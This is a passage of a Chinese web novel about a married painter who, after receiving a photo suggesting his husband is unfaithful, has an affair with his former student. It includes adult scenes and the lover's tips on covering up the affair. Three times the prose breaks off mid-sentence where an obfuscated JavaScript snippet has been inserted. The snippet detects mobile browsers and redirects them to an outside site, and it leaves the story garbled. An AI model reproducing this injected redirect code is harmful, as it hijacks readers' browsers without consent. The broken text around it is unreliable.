万逸轻笑,起身,绕到谢念慈的身后,双手撑在沙发的扶手上,轻声道:“是的,先生,也是出轨,不过是妻子出轨……当然,您放心,您今天说的所有事情,我不会泄露任何一点……包括,您刚才的那个问题——有人在追求您吗?” 谢念慈眼睛眨了一下:“没有。” 万逸笑眯眯的:“好啦,您别紧张,我刚才只是举了其中一个例子,缓和一下气氛嘛。如果先生您想修复关系的话,可能需要您带您的丈夫一同前来,毕竟婚姻是两个人的事,但只追求一时的刺激,却是唾手可得……今天就先到这吧,先生,一切决定权在您,我不仅处理豪门太太和丈夫的关系,还可以开解太太和外面的情人之间的事哦。” 谢念慈只觉莫名其妙,黄瑞给他推了一个什么怪人?连忙拿起随身物品,戴好口罩墨镜,匆匆说:“好的,谢谢万老师,我……” 万逸打断他的话,笑得意味深长:“谢先生,期待您的下次咨询,另外,待会有暴雨,路上注意安全哦。” 神经病。 一点职业道德都没有,为什么没人投诉他? 下次还是别来了。 谢念慈后悔死了,这人的一番话闹得他心神不宁,完全没注意到转身后,男人脸上的笑容渐渐消失。 一道闪电划过,雷声滚滚而来,落地窗外的都市一瞬笼罩在暴雨之中,天地昏暗一片,跟漏了一个大口子似的,哗啦啦向大地灌水。万逸端起桌上没被人碰过的柠檬水,呷了一口,微微眯起了眼睛。 门被推开了,是前台的那个女生。她穿着职业套装裙,妆容得体,走进来说:“万老师,今天没有预约了。” 万逸闻言伸了个懒腰,拖长声音道:“今天的业绩真差啊——唉,还不知道这位林太太愿不愿意再来呢?” 女生面露疑惑:“你又挖到了人家的背景?” “不用挖。” 万逸转过身,推了推眼镜,唇角上翘。 “小崔,你说巧不巧,刚才那位太太的丈夫,恰好是我在美国留学时的老同学,以前经常一起喝酒呢。” 崔莉亚嘴巴合不拢了:“我去!” 万逸笑:“很可爱吧?比照片里的漂亮多了!”说着,他又伸了一个懒腰,“哎呀,好想挖老同学的墙角啊!面对这样的人妻,居然还能半年不上床,我都怀疑我这位老同学起不来了!” 崔莉亚翻了一个白眼:“万逸,你有点职业道德吧!” 万逸说:“我要什么职业道德?天天伺候这帮出轨的太太们,人都要累疯了!” 崔莉亚问:“刚才那位也……?” “没有,至少目前还没有。”万逸双手插兜,吊儿郎当向门外走去,忽然,他回过头,看向刚才谢念慈坐过的沙发,说,“但快了,小崔,要不要和我打个赌?就赌下一次这位太太到访,是为了请我帮他保密?” 小崔骂道:“滚!谁要跟你赌这个!变态!”摔门而出。 万逸摸了摸鼻尖,一脸感慨,缓步走到落地窗前,看脚底的车流与霓虹交织,织成一片巨大的欲网,将每个人裹挟其中。 …… 谢念慈刚把车开出地下停车场,暴雨便噼里啪啦地掉了下来。 入夏后天气就不受控制了,时不时来一场暴雨,B市又容易内涝,出行常有不便。车窗上的水柱有手腕粗,雨刮不停扫动,可眼前旋即又被茫茫大雨遮掩。谢念慈的心砰砰直跳,把车停在一旁的露天停车场,打算等雨小一点再出发。 他翻开通讯录,打算好好谴责一番黄瑞,顺便打听一下万逸的背景,谁料刚拿起手机,林承望打了电话过来。 “老公?” 他不知为何有些心虚。 林承望问:“宝宝在干嘛呢?” “去了一趟新天地广场,正在下暴雨,等雨停再走。” “买东西吗?” 谢念慈一直很清楚,他应该和盘托出,告诉林承望他们的婚姻出现了问题,要去找一位靠谱的咨询师调节,但他无论如何也说不出口。说到底,他自尊心强烈,内心深处不愿承认自己在婚姻上失败了,总想着自己解决。 “嗯,买了……几件衣服,前几天有条牛仔裤被洗坏了。” “覃阿姨这么不小心?” “不怪她,是我自己丢进洗衣机忘了把糖拿出来。” 谢念慈只觉心在打鼓。 他在撒谎骗林承望,半真半假,隐去那个叫蒋淳的男生。 “宝宝,有件事想和你说一下。” 谢念慈手握紧了方向盘:“什么事?” “G市这边的地皮项目已经顺利拿下了,周三我回B市,周五爸妈要在庄园举办宴会庆祝……” 周五…… 谢念慈翻了翻他的计划表,周五赫然写着“xx级油画系毕业谢师宴”。 “周五吗?我这边周五学生们搞了一个谢师宴……” “这个场合很重要,麻烦宝宝一下了,小鱼也要出席,到时候会有媒体前来采访哦。我请人给宝宝打了一只玻璃种翡翠手镯,颜色特别好看,以前我妈送你帝王绿的翡翠,你说太显眼了不肯戴,这次我看中的料子是天空蓝的,和宝宝很配……” 家庭形象也会影响公司股票。林承望外貌条件出众,又是林氏的当家人,他的一举一动都在媒体的长枪短炮之下,像这种宴请四方的重要场合,妻儿不出场,难免有人在背后嚼舌根。 “嗯,我明白了。” 谢念慈说。 他一点也不想去,去了,便是处理不完的社交,笑得发僵的嘴角,更何况宴会上的大部分人他都不认识,他像个完美的人偶,挽着林承望的手臂,充当林家的好媳妇。 但他别无选择。 挂了电话,谢念慈偏过头凝望外面的雨幕。 手机又震动了一下,是一条短信。 谢念慈一开始以为是骚扰短信,随手点开,但只看了一眼,他的眼睛缓缓睁大,手一松,手机哐当一声砸到了脚垫上。天已经黑了,霓虹闪烁,透过茫茫雨幕在他脸上铺了一层浓重的油彩,红的黄的绿的紫的蓝的,五颜六色,在他的脸上渐渐融化。 是一张照片。 号码他没见过,也不是所谓的诈骗号码。 照片的人上是林承望,正躺在G市酒店套房的床上,眼睛紧闭,应该是睡着了。谢念慈认得出就是上周的那一家酒店,同一间套房。不仅仅有照片,对面还发了一句话:【林太太,您的丈夫我有好好照顾哦^_^”】 开什么玩笑。 在搞什么恶作剧。 谢念慈简直要吐了。 他手抖得厉害,点开对方的号码,想要拨过去,可无论如何也对不准,终于打了过去,却是一段令人发笑的忙音,再拨,忙音,再拨,还是忙音。 【你是谁?】 石沉大海。 他不知在车上坐了多久,连拿着照片去质问林承望的力气都没有,只觉过往的十几年尽数崩塌,连地基都被这一张照片掩埋了。其实也没什么亲密的互动,不是吗?他完全可以自欺欺人,只是有人恶作剧,趁着林承望睡着了,偷偷拍照片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146437|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以此来戏弄他。 为什么要戏弄他呢? 明明林承望是有别人告白都会光明正大拒绝的人…… ——在外面恋爱的话,回到家对丈夫就会和颜悦色。 ——各玩各的,也不是什么坏事。 ——有人在追求您吗? 那个姓万的咨询师说过的话在他耳畔嗡鸣不止,三十年的人生,哪怕心中有过再多的叛逆,他也不曾外露,最多也不过是十几岁时画一些偏激的题材,成年后,他把自己包裹了起来,用一层雾气,柔化了心里所有的棱角。 好累。 真希望世界在下一刻毁灭。 出轨这种下流、肮脏、无耻、自甘堕落的事…… 但他也是一个有欲望的人。 一个恶劣的人。 他拨通了另一个人的号码,一阵嘟声后,男生的声音出现在对面:“老师?” 他发动汽车,眼睛眨也不眨,问:“蒋淳,你在哪?” …… 这几日美院的毕设展如火如荼,不少作品在互联网上引发了大规模的讨论,蒋淳的作品也在其中,而且热度相当可观。形象出众、画技精湛、选题讨巧……再加上营销之类的推波助澜,在互联网的时代,走到大众面前简直是轻而易举。 他站在302画室的窗前,凝视窗外的雨幕,手机里有个男人在喋喋不休地说话。 “蒋先生,我们愿意一万五买下您的那幅《飞天》,已经相当可观了。这年头行情不好,一线的青年画家也不过八九千一幅画,您刚毕业就能买到一万五,非常难得,别的画廊都不会比我们这儿出价高了!” 蒋淳说:“我可能还需要再考虑考虑。” 对面的人说:“我们画廊的老板手下还有几家走fine dinning路线的餐厅,其中一家想要打造成新中式融合川菜的路线,他认为您的艺术气质和餐厅很匹配,如果您愿意将画卖给我们,餐厅的挂画一类的项目,老板正在考虑与您合作。我们老板非常欣赏你的,觉得和你有缘,他信佛,最信这种缘分了,你画的又是佛教主题……” 蒋淳心动了。 他的手按在玻璃上,眼前满是自己呵出的白气,手指轻移,写下15000这个数字,实话说,放在B市根本不够看,但这年头纯艺已经不值钱了,走不到金字塔顶尖,注定只能喝西北风。他应该询问谢念慈的意见,但他并不想让谢念慈知道这件事。 谢念慈这几年一直在扶持美院的毕业生,尤其是搞纯艺的,画室兼有画廊的性质,他以林氏的名义资助了不少学生,之前也表达过想买下《飞天》的意思。但他们已经不是纯粹的师生关系了,蒋淳在他的面前有一种男人的自尊心,并不愿意依靠谢念慈。 “我明天去你们画廊洽谈。”他说。 定下时间、地点,挂断电话,蒋淳刚舒了一口气,手机又响了。 来电显示是谢念慈。 他呼吸一顿,并没有立即接通,而是在原地转了几圈,对着窗户上的倒影整理衣物。有什么好整理呢?不过是一件T恤。 “……咳,老师?” 他难得有些紧张。 “……蒋淳,你在哪?” “在画室,怎么了?” “好,请你等一下,我马上就到。” 蒋淳听到话筒另一头传来的引擎声,以及轮胎碾过水坑的动静,而窗外的雨又是那么大。他以为是谢念慈知道了别的画廊要买自己的画,前来与他谈论此事,心里并不算紧张,打算到时候实话实说。 “老师,雨太大了,你路上小心一点,我在画室的302,你开慢一点。” “好。” 谢念慈回复了一个字,却没挂电话。 蒋淳忽然觉得不对劲,他又唤了一声:“老师?没有事的话,我把电话先挂了,开车打电话不安全。” “等一下。”他听到谢念慈说,“别挂。” 心头微微一动。 “别挂。” “陪一陪我吧。” 蒋淳没有挂电话,同样的,两个人也都没有出声,话筒里只有彼此的呼吸声以及淅淅沥沥的雨声。他坐在椅子上,面前那副给学生展示的速写,没画完,但熟悉谢念慈的人,一定都可以认出来是谁。 他拿起一旁的铅笔,用小刀削了削笔尖,随后轻轻在纸上勾勒出谢念慈的眉眼、鼻子、嘴唇……笔尖沙沙作响,他听见谢念慈的吐息愈发沉重。 熄火。 开门。 关门。 鞋子踩在水坑里嘎吱嘎吱地响。 雨声。 隐隐的雷声。 还有谢念慈的呼吸声,肌肤与布料摩擦的声音,脚步声,沾了水的鞋在地板上发出啪叽啪叽的动静。 谢念慈在上楼。 呼吸越来越急促。 “蒋淳,开门。” 蒋淳起身,将302的门打开。 他看见谢念慈举着手机,浑身湿透了,站在他的面前。半长的头发全散了下来,黏在脸颊和脖子上,发尾正滴着水,脸色苍白,脸颊上有一抹不对劲的红晕,白衬衫紧紧贴着肌肤,里面的肉粉色的躯体若隐若现……这幅画面本应让蒋淳无限遐想。 但他没有。 因为谢念慈快哭出来了。 谢念慈反手将门关上,302里只有他和蒋淳两个人,里面的画架沉默站立着。蒋淳从一旁扯过干净的画布,披在谢念慈的身上。 “怎么——” “不要问。”谢念慈几乎是在央求,“我不想再记起刚才发生的事。蒋淳,你能抱一抱我吗?” 蒋淳沉默片刻,开口说:“如果我抱了你,之后发生的事,我没有办法控制。” 谢念慈看着他,身子微微颤抖:“能让我忘记一切吗?” 蒋淳说:“如果你想的话。” 谢念慈上前一步,靠在蒋淳的怀中。 蒋淳抱紧了他。 现在两个人都湿透了。 蒋淳环住怀里人的腰,将人完全抱住,嘴唇在头顶流连许久,随后轻轻印在谢念慈的唇角。谢念慈身子一僵,却没有推开他。 这个吻越来越深,等谢念慈被他压在一旁的画架上时,已是一发不可收拾了。他始终很有礼貌,非常有礼貌,只是握着谢念慈的手腕,右手轻轻摩挲着谢念慈的左手,手背,指尖,掌心……直到触摸到无名指上的铂金素环。 不能在这里继续了,隔壁就是正在上课的学生,楼上楼下到处都是眼睛,一旦暴露,谢念慈的名声就别想要了。 他起身,将谢念慈抱起来。 “走吧,我们去别的地方。” 6. 第 6 章 今天是周一,暴雨,来画室的人很少,但不代表他们就能肆无忌惮。 况且一旦有了那个肮脏的念头,角落里似乎随时都会跳出一个人,冷冷盯着他们,这让两个人,尤其是谢念慈坐立不安。 谢念慈问:“去哪?” 蒋淳沉思片刻,说:“去我的公寓吧。” 附近是大学城,临近的酒店人来人往,他和谢念慈又不是泯然众人的长相,很容易被人抓到把柄。当然,他的公寓也并非安全,但他也只能想到那个地方了,一个完全属于他的巢穴,到处是他的气味,能将谢念慈完全包裹。 谢念慈下楼开车,他坐地铁,兵分两路,试图糊弄别人的注意力。雨小了一点,但风大,不消片刻就浇了他满头满身,到了地铁站,正值下班高峰期,人挤人,小小一节车厢像一只塞满了肉的罐头,烟味,廉价香水味,夏季暴雨的水腥气……混成一团,熏得人头晕脑胀。车厢内很安静,只有身旁陌生人耳机里漏出的短视频动静,这些陌生人大多奔向家或者出租屋的方向,而蒋淳在奔赴自己日夜渴求的那个人。 谢念慈会突然反悔吗? 走到一半,神志清醒了,发现这是背德之事,于是转身开车回家。 这个念头一从蒋淳脑海中跳出来,他没有多想,立即面无表情将它掐灭。 到站,下车,出地铁站,蒋淳正要刷卡进入公寓楼,忽然从玻璃门的倒影上看见谢念慈的那辆路特斯ELETRE正在驶入地下停车场,他悬着的心终于放下,还没落到底,又猛地想起另一件重要的事,转身冲入雨幕,直奔小区外的24h便利店。 买保险措施。 等到他终于乘坐电梯上楼后,谢念慈正站在他的门前,发梢还在滴着水,脸上的墨镜、口罩一个不少。 他没说话,掏出钥匙开门,走入自己的公寓,咔哒一声,将起居室的主灯打开,做完一切,他站在玄关,转身看向谢念慈。装着套子的方便袋沾满了雨水,他拎起来晃了晃,一种无声邀请。谢念慈没有再犹豫,踏入他的家门,砰地一声,关上了门,摘下口罩和墨镜。他欺身上前,将人压在门上,一反之前那个礼貌的吻,长驱直入,撬开了谢念慈的唇齿。 他没有谈过恋爱,对舌吻的概念也不过来自影视作品,刚开始的那几分钟笨拙又盲目,胡乱咬着谢念慈的舌头。而谢念慈很有耐心,轻轻引导着他,舌尖和本人一样柔软安静,安抚着年轻男生躁动的灵魂。谢念慈的吻技也是和丈夫练出来的,很久以前他也不会接吻,憋气把脸都憋红了,林承望就笑话他,然后再一次吻住他的唇,吻多了,便也精通了,至少面对眼前这个没开过荤的男大学生绰绰有余。 谢念慈腰和腿都被亲软了,身子止不住向下滑,手臂挽着的包也在向下滑落,咚地一声掉在地上,手机被摔了出来,好巧不巧,正好有在人给他打电话,来电显示“覃阿姨”。但他压根没看到,和蒋淳一齐跌坐在地板上,吻得格外投入。雨水把他浇了个透心凉,浑身上下都是冰的,偏偏蒋淳的躯干火热无比,几乎要将他烧了起来,他迎合着蒋淳的吻,双手环住男生的脖子,凶普贴上对方结实的胸口,紧紧抱在一起,身子总算没那么冷了。 但他依然在发抖。 …………………………………… 但蒋淳并不觉得有什么,反而更多是一种阴暗的征服欲。那个男人真是有眼无珠,活生生将自己的妻子拱手让人,真是叫人笑掉大牙了。他亲吻谢念慈,从脖子一直亲到指尖,最后停在戴着戒指的左手无名指上。 他含住谢念慈的左手无名指,问:“我是谁?” 谢念慈闻言缓缓睁大了眼睛,愣愣看着他,眼眶湿润,隔了好一会儿,才轻轻道:“老公……” 蒋淳用犬齿卡住那枚戒指,将其从谢念慈的手上摘了下来,放到一旁的床头柜上。又一面亲吻谢念慈的唇,一面问:“蒋淳也是你老公么?还是说只要和你上床了,谁都能成为你的老公?” 谢念慈哭道:“蒋淳……你是蒋淳……” “对,我是蒋淳。”蒋淳深深地吻他,“你要记住了,我是蒋淳。” …… 谢念慈很久没睡过一个好觉了。 他闭上眼,便坠入一片黑甜当中,直到将醒之时,他做了一个梦,梦里小鱼一直在呼唤他。妈妈,妈妈,小鱼哭着向他跑过来,妈妈,你不要我了吗? 谢念慈被惊得一身冷汗,直接从床上做了起来。 腰酸背疼,身子像被人拆开后又拼了回来。 他拿起手机一看,凌晨5:49,窗外泛起了鱼肚白。 旋即他划开锁屏,看见几个覃阿姨打来的电话。 糟糕! 谢念慈抓了抓散乱的头发,在过度的刺激之后,空虚终于被勉强填满,但随之而来的是强烈的后怕与自我厌恶。 他到底在干些什么? 最好的处理方法应该他是拿着照片去请人帮他搜集林承望的出轨证据,而不是头脑一热,转身和蒋淳上床。 多么幼稚的报复。 覃阿姨见他不接电话,发了几条消息,还好没什么大事,只是问他去哪了,说小鱼一直念叨他。他翻了翻消息,点开最下面那一条语音,小孩用奶音软软道:“妈咪,你回来吃晚饭吗?覃覃阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146438|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨做了排骨哦。” 【不好意思,昨天晚上和朋友喝酒,喝大了[哭泣]】 【覃阿姨,小鱼还好吧?】 覃阿姨醒得很早,竟然马上回了他的消息:【哦哦,这样啊,太太早上回来吃早饭吗?我煮点醒酒汤。】 【好。】 谢念慈又撒了一个谎,心砰砰乱跳。他在蒋淳的床上木然片刻,连忙起身,一低头,发现自己并非没穿衣服,而是穿了一件T恤,下半身也穿了内裤。T恤和内裤都整整大了他一圈,估计是蒋淳的衣物,浑身上下干爽无比,头发也被人洗过了,柔顺地垂在肩头。 他弯下腰,把床上散乱的空调被折好,却发现床单似乎还有点湿,一掀开,底下的床垫也湿了,脸上登时一片酡红。 “没关系。”蒋淳不知何时推开了门,倚靠在门边,对他笑了笑,“今天是个晴天,我待会拿到外面晒一晒就好……我在刚刚下单了一个防潮垫,以后就只用换床单就好了。对了,我煮了皮蛋瘦肉粥,老师要吃点吗?” 谢念慈说:“没有以后了。” 蒋淳站直了身子:“老师是什么意思?” 谢念慈看向这个和他缠绵了一夜的男生,或者说,男人,声音沙哑道:“你就当成是一夜情吧,我……我还有家庭,不可能陪你闹下去,最多只是玩玩而已,现在玩够了,该回去了——我的衣服呢?” 蒋淳也在看着他,神色平静:“洗好了,也烘干了,我给你拿过来。” 谢念慈没有再说话,而是坐回床上,手捂住了脸,腿软得根本走不动路,腰也酸,而且昨夜的保险措施也没做好……他最对不起的人是小鱼,至于林承望,他太失望,心里还残留着一些报复过后的愉悦。 蒋淳把衣服拿过来给他,两个人都没有说话。谢念慈背过身,脱下蒋淳的T恤和内裤,换上自己的衣物,在穿裤子时瞥见自己大腿内侧全红了,至于……他根本不敢想,大概是肿了。昨夜的事便在脑海里闪烁,他全然抛弃了道德和责任,和自己的学生疯狂滚床单,可稍微回想得深入一点,他的心又开始乱跳了。 遮去一夜的痕迹,他走出卧室,客厅里满是瘦肉粥的香气,他装作没看见在灶台忙活的蒋淳,拿起自己的包径直走向门口。 换鞋的时候,他听到身后传来一阵脚步声。 他有些慌了,系鞋带的动作越发快速,可怎么也系不好,鞋带胡乱地绞在一起,身后的人快步走来,抱住了他。 “就算是一夜情,留下来吃顿早饭也没问题吧?” 蒋淳在他的耳畔吐着热气。 “还有,你的戒指没拿。” 7. 第 7 章 蒋淳一夜没睡,大概是年轻,经得起熬夜,剧烈运动几个小时后依然神采奕奕。他抱着昏过去的谢念慈休息了一会儿,轻手轻脚爬起来,换床单,给谢念慈擦洗身体和吹头发。 睡着的谢念慈看起来更听话了,睫毛落在脸颊上,浅浅的两道影子。蒋淳把他抱在怀里,吹风机开到最小档,小心翼翼给人吹着头发。 安顿好谢念慈,他又把两个人的衣服一起丢进了洗衣机,倒入洗衣液和留香珠,然后打开冰箱,发现还有一些新鲜蔬菜和肉,大概够煮一点儿有滋味的东西,只是少了几样调味料。 他走进卧室,亲了亲谢念慈的额头,随后轻轻关门,下楼买东西。主要是去买药,他查了一下,长效和短效的副作用都不大,但他们的情况只能用紧急的,吃了容易恶心犯晕。如果国内能买到他吃的避孕药,蒋淳不会让谢念慈受这个苦,但事发突然,只能如此了。 一个孩子的责任还是太大了。他并非没有想过这种未来,但不该是这个时候。 凌晨的都市褪去了一身喧嚣,暴雨之后空气中浮动着夏天特有的淡淡的潮气,但B市始终是座北方城市,比之南方的潮湿,还是太显干燥了。蒋淳的心却好似被浸泡到了水中,一半沉甸甸的,一半轻飘飘的,沉的那一半是责任,漂浮在水面上的是年轻人的情意。他性子早熟,远比同龄人更能融入社会,但此时此刻,在空荡的街道上,他想要奔跑、或者像酒疯子一样放声歌唱,哪怕被投诉扰民也无所谓,巴不得逢人就说,他睡到梦中情人。 回到公寓,打开卧室的门,看到裹在空调被的谢念慈,他沉在水里的那半颗心也飘了起来,胸腔里鼓鼓胀胀的,说不清是什么心情,只是凝视着谢念慈的睡颜,他就忍不住面带微笑。 但很快,这种喜悦被谢念慈亲手打碎了。 蒋淳倒也不生气,他从背后环住谢念慈,发觉自己可能把空调开得太低了,谢念慈露在外面的肌肤有些凉,干脆把人抱在怀里,从裤兜里掏出那枚戒指,塞入对方的手中。 谢念慈接过戒指,匆匆忙忙戴回左手无名指,但不知为何,戒指竟有些松动了,无论如何也对不上原先压出来的红痕,弄得他心烦意乱。一只手从他身后探过来,轻轻握住了他的左手,蒋淳低下头,亲了亲他的手背。 他余光看见男生的眼眶红了。 不管怎么样,蒋淳是他的学生,比他小了将近十岁,也不过是个刚出社会的大学生……谢念慈心一软,或许也因为男生的拥抱太过温暖,他叹了一口气,决定再留半小时,和蒋淳好好谈一下。 他一面脱鞋,一面问蒋淳:“你……什么时候有这种心思的?” 蒋淳见他要留下,眼眶的那抹红当即消失得无影无踪,牵着谢念慈的手,笑说:“大二。” 谢念慈面露惊讶,抬头看了他一眼:“大二?大二我给你们上课了吗?” 蒋淳将他拉到餐桌前,为他盛粥,说:“是,老师那个时候应该是刚休完产假,没有排大二的课,大三才开始给我们上课。那个时候我下楼,老师上楼,撞到了一起,不知道老师是否记得,但我一直牢记于心,怎么也忘不掉……尝一尝我煮的粥。” 谢念慈还真不记得了,人一旦过了三十,生活中鸡毛蒜皮的琐事太多了,许多事、许多人就此擦肩而过,最多留下一个匆匆的背影。但他没想到蒋淳如此执着,一路紧追不舍,还把他引到一条老师不是老师、学生不是学生的歧路上。他一时百味杂陈,低下头,尝了一口蒋淳煮的皮蛋瘦肉粥。 味道不错,恰到好处的咸鲜,大早上来一碗相当暖胃,就是太烫了,他不停用勺子搅拌瘦肉粥,心事重重。 “好吃吗?”蒋淳笑问。 “好吃。”谢念慈回道。 蒋淳坐到他一旁的椅子上:“我初高中时父母特别忙,周末没人煮饭,又嫌在外面吃不健康又浪费钱,经常自己做饭,一来二去,厨艺还算可以。我听黄教授说,老师做饭也很好吃,有钱人不应该都是请保姆的吗?老师怎么还要学做饭?” 谢念慈沉默片刻,说:“我丈夫喜欢吃我做的饭。” 蒋淳没说话,只是站起身,打开一旁的冰箱,里头塞着颜料和啤酒,还有几根葱,转头问:“要来点咸菜或者腐乳吗?” “不用了,谢谢你。”谢念慈摇头,过了一会儿,他才迟疑开口道,“只是撞了一下,你怎么就确定对我……我也是从你这个年纪过来的,也体会过荷尔蒙不受控制的感觉,蒋淳,或许只是你没见过其他的人,荷尔蒙又太旺盛,才会……” “不,不是这样的。”蒋淳关上冰箱,重新坐回谢念慈的对面。他伸出手,轻轻摩挲谢念慈的左手背,眼睛盯着谢念慈,眨也不眨说:“我很清楚,我从小到大都清楚自己在做什么、想要什么。其实如果不学美术,我大概会学理科,我对物理也很感兴趣,成绩也不错。但高一的时候,我爸有一天喝多了酒,冲进我的房间把我画的画全撕了,说,你这辈子不会在这条路上有成就。我当然不服气,憋着一口气,考上了B美,然后就遇到了老师……我高中的时候就看过老师的画集,发现老师钟爱描绘落日后的那几十分钟,画面雾蒙蒙的,于是我就在想,为什么要留一层雾气呢?是为了画面的美感,还是老师心里有一层雾?我很好奇,哪怕知道老师有了家庭,身体和心却不受控制……” 谢念慈垂着眼睛,轻声说:“那也终究只是你幻想中的我……一旦了解我是一个怎样的人,恐怕你也很快就没了兴趣,一时的激情永远只能存在一时,蒋淳,没有什么东西是永恒的,尤其是二十几岁时的爱慕。” 蒋淳笑了笑,身子向他靠近,将他揽入怀里,什么也没说。他有些尴尬,说:“够了……你昨晚已经……” 蒋淳跟没听到似的,低下头,亲他的额头、脸颊,用鼻尖蹭着他的鼻尖,两个人的呼吸交织在一起。谢念慈的脸又要红透了,这样亲昵又幼稚的举动,他根本无从抵抗,心在身体里横冲直撞。 真是的……明明他已经不是十几二十岁的小孩了! “可能真的因为我年轻吧,所以根本没办法控制……”蒋淳若有若无亲着他的嘴角,“没办法控制自己的眼睛,总是忍不住看向老师;没办法控制嘴巴,见到老师就会想微笑;也没办法控制自己的腿,一不留神就跑到了老师的身边……” “你不要再说了!”谢念慈整个人都要烧起来了,连忙抬手捂住蒋淳的嘴。 蒋淳就轻啄他的掌心:“我偏要说,老师把我当成一次性按/摩/棒也没关系,当成一夜情对象也没关系,因为我的心总是会给老师开脱,我没办法控制,老师做什么我都觉得有道理。” 谢念慈被他的话吓到了:“我没有把你当成一次性□□……”说这话时,谢念慈恨不得找个地缝钻进去,直觉自己惹上了不好搞的人。蒋淳的攻势柔中带刚,偏偏又拿捏住了他容易心软,专挑自我贬低的话来说…… 好过分的男人…… 蒋淳把人逗得差不多了,见好就收,又亲了亲谢念慈,问:“我买了药,你要吃吗?不过副作用很大……” 谢念慈别过头,用手臂挡着自己的脸,声音沙哑说:“当然要吃。” 和林承望半年没有x生活,他早就把这种东西忘在脑后了。但他并没有和婚外情对象有私生子的打算,或许他可以对不起林承望,但他不能对不起小鱼。 和着温水服下药片,谢念慈打开手机锁屏看时间,将近七点。不能再待在这里了,他只觉自己耳畔嗡嗡直叫,腿发软,也不懂是药的作用,还是他心乱了,整个人摇摇晃晃,似乎随时会倒入蒋淳的怀里,一旦倒下,之后发生的事他不敢再想,再一次逃到了门口。 蒋淳跟在他的身后,替他拉开房门,轻声说:“其实我很想问为什么昨天老师会突然决定和我上床,但老师看起来不想说,我也就不问了……老师路上小心,如果有任何想说的话,我二十四小时期待你的来电。” 谢念慈回头看了他一眼。 他又说:“别急着删聊天记录,很容易被别人察觉不对劲,老师平时怎么和我说话,就怎么发消息,对外说只是在谈论毕业事项就好……老师有和家里人解释昨天晚上吗?” 谢念慈说:“我告诉家里的保姆阿姨,说我和朋友喝酒喝大了。” 蒋淳闻言扭过身,从鞋柜上够来一瓶酒精喷雾,塞进谢念慈的包里:“老师回家前喷一点在身上,记得说喝完酒后找了酒店洗澡洗衣服,不然很难解释为什么你的身上没有酒气、衣服又干干净净的。” 谢念慈说:“我知道。” 蒋淳笑:“真的知道吗?我怎么感觉老师撒谎都不利索,更别提掩盖昨晚的痕迹了。” 谢念慈睁大了眼睛,没想到这个人竟敢说他笨,当即红着脸转身,砰地一声把门摔上,逃也似的乘坐电梯离开。 …… 车开到一半,药的副作用渐渐上来了。 谢念慈头晕、直犯恶心,勉强开回小区,脑子里断断续续编好了一套说辞,心里却依旧忐忑无比。 在清吧喝了一晚上的酒,中途找了一家酒店睡觉,为了不把酒气带给小鱼,洗澡洗衣服,而药的副作用正好对应醉酒后的状态…… 电梯打开,覃阿姨出来迎接他,替他拿包,嘘寒问暖:“太太,您回来啦,小鱼已经送去幼儿园了,早上没看见您,早饭也没吃几口……我煮了醒酒汤,您喝一点暖暖身子……” 覃阿姨五十岁上下,全名覃知莲,中等身材,长了一张亲切的圆脸,气色非常好,满面红光。有时候谢念慈觉得这位保姆阿姨都比林承望的父母来得体贴,毕竟林父林母可不会对着宿醉的他和颜悦色。 走进餐厅,谢念慈愣在原地。 长桌的尽头坐着一个他无比熟悉的身影。 ——林承望。 林承望面前摆着一台笔记本电脑,身穿居家的睡衣,戴着一副眼镜,正在敲敲打打。见他回来了,抬头一笑,说:“宝宝玩回来了?” 谢念慈心头咯噔一声,下意识回避丈夫的视线,走到桌前,说:“嗯,回来了,昨天在清吧喝酒,喝得有点多了,没敢回来,怕小鱼不高兴。” 说着,捂住嘴,干呕了一声。 覃阿姨端来醒酒的陈皮山楂水,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146439|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冒着热气,他接过来,欲盖弥彰喝了一大口。覃阿姨说:“太太要冲个澡吗?” 谢念慈喝完了汤,干笑说:“不用了,我在酒店里洗过了。” 覃阿姨点点头,转身回厨房忙活了。 林承望摘下眼镜,对他笑了笑:“宝宝,过来,看老公给你买的好东西。” 谢念慈并不想过去。昨夜的激情让他短暂忘了林承望和那张照片,可梦醒之后,便是无穷无尽的现实。他问林承望:“不是说周三回来的吗?回来了?怎么不给我打电话?” 还好没打电话,不然…… 林承望打开桌上的一个红盒子,对谢念慈笑说:“很想你和小鱼,加上G市那边要没什么事了,昨天连夜坐飞机回来了。覃阿姨说你在外面喝酒,我也困了,就先睡了。你看看,喜欢这个颜色的手镯么?” 红盒子里装着一只天空蓝的翡翠手镯,玻璃种,圈口起钢,底色均匀,几乎看不到任何瑕疵和飘花,堪称完美的一泓蓝天。 